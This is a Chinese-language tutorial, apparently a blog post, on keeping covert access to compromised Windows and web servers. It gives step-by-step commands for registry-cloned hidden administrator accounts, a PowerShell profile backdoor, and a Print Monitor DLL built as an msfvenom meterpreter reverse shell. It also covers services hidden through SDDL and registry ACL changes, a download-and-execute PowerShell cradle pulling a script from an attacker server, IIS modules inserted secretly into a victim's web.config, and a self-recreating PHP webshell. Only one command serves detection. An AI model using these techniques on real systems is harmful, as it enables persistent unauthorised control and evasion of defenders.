介绍
权限维持是一项必要且需要得技巧,当在外网中打点后,需要保证点的持久性,使团队能够专注于目标,而不会失去指挥和控制服务器的通信。
开启权限维持之路
1.影子账号
(1)可以在后面添加$符来隐藏
(2)但是可以在本地用户和组看到
(3)怎么两个都看不到
打开注册表regedit
\HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users
下面的admin 对应的值
(4)点f值完全复制
(5)点刚刚创建的影子账号
(6)f值 粘贴 确定
(7)然后右键导出
(8)保存为1
(9)再导出它的用户名
(10)保存为2
(11)接着把super$这个影子账户删掉
(12)接着双击1 是
(13)双击2 是
(14)此时命令行和图形化都没有 只有注册表有
(15)登录super$影子账号 显示的是administrator的权限
2.开机启动项
开关机启动项可以做个bat脚本添加账户,或者是cs的文件不落地脚本
新建脚本->本地策略组->windows设置->脚本(启动/关机)
3.powershell后门
(1)打开powershell 一次粘贴以下 一句都不能少 路径就是你自己脚本的路径
echo $profile
Test-path $profile
New-Item -Path $profile -Type File -Force
$string = 'Start-Process "C:\1.bat"'
$string | Out-File -FilePath $profile -Append
more $profile
(2)下一次启动powershell的时候就会启动这个脚本
(3)可以看到有个黑框框一闪而过 就是脚本执行了
4.Monitor权限维持
采取白+黑的模式:
(1)白是什么,就是
monitor.exe 这个是杀毒软件杀不出来的
项目地址:
https://github.com/AL1EX/Monitor
可以自行编译,如果不编译用它自己的就要把文件名改成它默认的test.dll
(2)黑是什么,就是我们生成的恶意的dll文件
(3)kali生成攻击载荷
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.152.131 LPORT=4444 -f dll > shell.dll
(4)改名字后放到system32文件夹下,为什么放到这个下面,因为这样就是以system权限调用,连提权都不用了
(5)防火墙是开着的,启动
(6)来到kali可以看到是最高权限
(7)为了实现持久性,我们需要在"Monitors"注册表位置下设置一个key:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Monitors
(8)之后在命令行下执行以下命令创建一个注册表项,该注册表项将包含值test.dll,从编辑器中查看注册表验证密钥是否已创建:
reg add "hklm\system\currentcontrolset\control\print\monitors\Pentestlab" /v "Driver" /d "test.dll" /t REG_SZ
(9)下次重新启动时,spoolsv.exe进程将加载Monitors注册表项中存在并存储在Windows文件夹System32中的所有驱动程序DLL文件
5.安全描述符隐藏服务后门
(1)首先生成一个木马
(2)受害机器执行命令
sc create ".NET CLR Networking 3.5.0.0" binpath= "cmd.exe /k C:\Users\administrator\shell.exe" depend= Tcpip obj= Localsystem start= auto
(3)要改的只有路径和马子名称,当然服务名也可以改,主要起混淆作用
执行
(4)怎么看成不成功呢
sc query ".NET CLR Networking 3.5.0.0"
(5)也可以任务管理器看,在服务里
(6)去kali监听
(7)服务器重新启动,能上线
(8)但是这样有个弊端,就是在服务里面可以看到
(9)我们可以做到一个完全隐藏,windows中的安全对象都使用SDDL字符串来表示访问对象对于安全对象的权限,服务自然也存在SDDL,并且sc命令中可以设置SDDL。通过更改SDDL可以修改服务的各种权限来隐藏服务:
sc sdset ".NET CLR Networking 3.5.0.0" "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
(10)可以看到已经看不见了
(11)通过命令行也看不到了,显示拒绝访问
(12)但是!还有一个地方可以看到,对就是注册表
连执行什么命令都能看得到
(13)那有没有什么方法连注册表都隐藏呢,有的
(14)我们可以通过修改注册表的DACL来拒绝对值的查询,达到隐藏异常值的效果
<1>.在vps上部署一个可以修改的ps1脚本:
function Server-Sddl-Change{
[CmdletBinding()]
param
(
[parameter(Mandatory=$false)][String]$Name
)
$ROOT = "HKLM:\SYSTEM\CurrentControlSet\Services\"
$S = $ROOT+$NAME
$acl = Get-Acl $S
$acl.SetAccessRuleProtection($true, $false)
$person = [System.Security.Principal.NTAccount]"Everyone"
$access = [System.Security.AccessControl.RegistryRights]"QueryValues"
$inheritance = [System.Security.AccessControl.InheritanceFlags]"None"
$propagation = [System.Security.AccessControl.PropagationFlags]"None"
$type = [System.Security.AccessControl.AccessControlType]"Deny"
$rule = New-Object System.Security.AccessControl.RegistryAccessRule( `
$person,$access,$inheritance,$propagation,$type)
$acl.AddAccessRule($rule)
$person = [System.Security.Principal.NTAccount]"Everyone"
$access = [System.Security.AccessControl.RegistryRights]"SetValue,CreateSubKey,EnumerateSubKeys,Notify,CreateLink,Delete,ReadPermissions,WriteKey,ExecuteKey,ReadKey,ChangePermissions,TakeOwnership"
$inheritance = [System.Security.AccessControl.InheritanceFlags]"None"
$propagation = [System.Security.AccessControl.PropagationFlags]"None"
$type = [System.Security.AccessControl.AccessControlType]"Allow"
$rule = New-Object System.Security.AccessControl.RegistryAccessRule( `
$person,$access,$inheritance,$propagation,$type)
$acl.AddAccessRule($rule)
Set-Acl $S $acl
}
<2>.加载ps1脚本:
powershell.exe -exec bypass -nop -w hidden -c "IEX((new-object net.webclient).downloadstring('http://xxx:8000/s.ps1'));Server-Sddl-Change -Name '.NET CLR Networking 3.5.0.0'"
(15)可以看到已经和其他服务一样了,空落落的
(16)那做应急应该怎么找,执行以下命令
Compare-Object -ReferenceObject (Get-Service | Select-Object -ExpandProperty Name | % { $_ -replace "_[0-9a-f]{2,8}$" } ) -DifferenceObject (gci -path hklm:\system\currentcontrolset\services | % { $_.Name -Replace "HKEY_LOCAL_MACHINE\\","HKLM:\" } | ? { Get-ItemProperty -Path "$_" -name objectname -erroraction 'ignore' } | % { $_.substring(40) }) -PassThru | ?{$_.sideIndicator -eq "=>"}
(17)找到那个隐藏的删掉就好了
6.windows隐藏文件
(1)正常我们可以右键属性->隐藏,但是这样在查看里勾上隐藏的项目后还能看到
(2)一种方法,把他改为系统文件
attrib +s +a +h +r shell.exe
(3)一般不会有管理员关掉这个,点击查看->选项->查看->隐藏受保护的操作系统文件勾去掉
7.驱动隐藏文件
(1)下载完以后需要安装
https://xoslab.com/efl.html
(2)拖到这个里面就可以隐藏了
(3)只有删除这个驱动的时候才能显示出来
8..net后门权限维持
(1)像一些网址它是asp的,是用c#写的,想这种肯定是iis,我们就是要用iis组件来留后门
后门网址:
https://github.com/wbglil/iis_backdoor
<1>.打开后门的web.config文件
<2>.复制内容到受害者网站目录下的web.config文件中间,不要把人家原本的删了,偷偷插到里面去
<3>.然后把dll文件复制到受害者的bin目录下
(2)之后打开exe文件就可以执行命令了
9.webshell不死马
webshell内存马,是在内存中写入恶意后门和木马并执行,达到远程控制web服务器的一类内存马,其瞄准了企业的对外窗口:网站、应用。但传统的webshell都是基于文件类型的,黑客可以利用上传工具或网站漏洞植入木马,区别在于webshell内存马是无文件马,利用中间件的进程执行某些恶意代码,不会有文件落地,给检测带来巨大难度。而内存攻击正是利用软件安全漏洞,构造恶意输入导致软件在处理输入数据时出现非预期错误,将输入数据写入内存中的某些特定敏感位置,从而劫持软件控制流、执行流,转而执行外部输入的代码指令,造成目标系统被获取远程控制,让内存马的攻击得以实现。
<?php
ignore_user_abort();//关掉浏览器,PHP脚本也可以继续执行。
set_time_limit(0);//通过set_time_limit(0)可以让程序无限的执行下去
$interval = 5;//每隔5秒运行
do{
$filename = 'test.php';
if(file_exists($filename)){
echo "xxx";
}else{
$file = fopen("test.php","w");
$txt = "\n";
fwrite($file, $txt);
fclose($file);
}
sleep($interval);
} while(true);
?>
(1)访问以后会一直转圈圈
(2)服务器里就会一直生成test.php
(3)其实已经注入到进程中去了
(4)只有停止中间件才能删掉木马
10.计划任务后门
老生常谈了
(1)命令行界面操作:
schtasks /create /tn "My App" /tr C:appsmyapp.exe /sc monthly /d 1 /ru "System"
每月的第一天用system权限执行该文件
schtasks /create /tn testschtask /tr D:\test.py /sc DAILY /st 1 13:00:00
每天13点执行该文件
(2)删除任务:
schtasks /delete /tn "22222" -f -- f代表不提示告警信息直接删除
(3)查看任务:
schtasks /query /fo LIST /v -- /v详细列表模式
(4)还有就是到计划任务程序里,找一个比较深的地方设置触发器,新建操作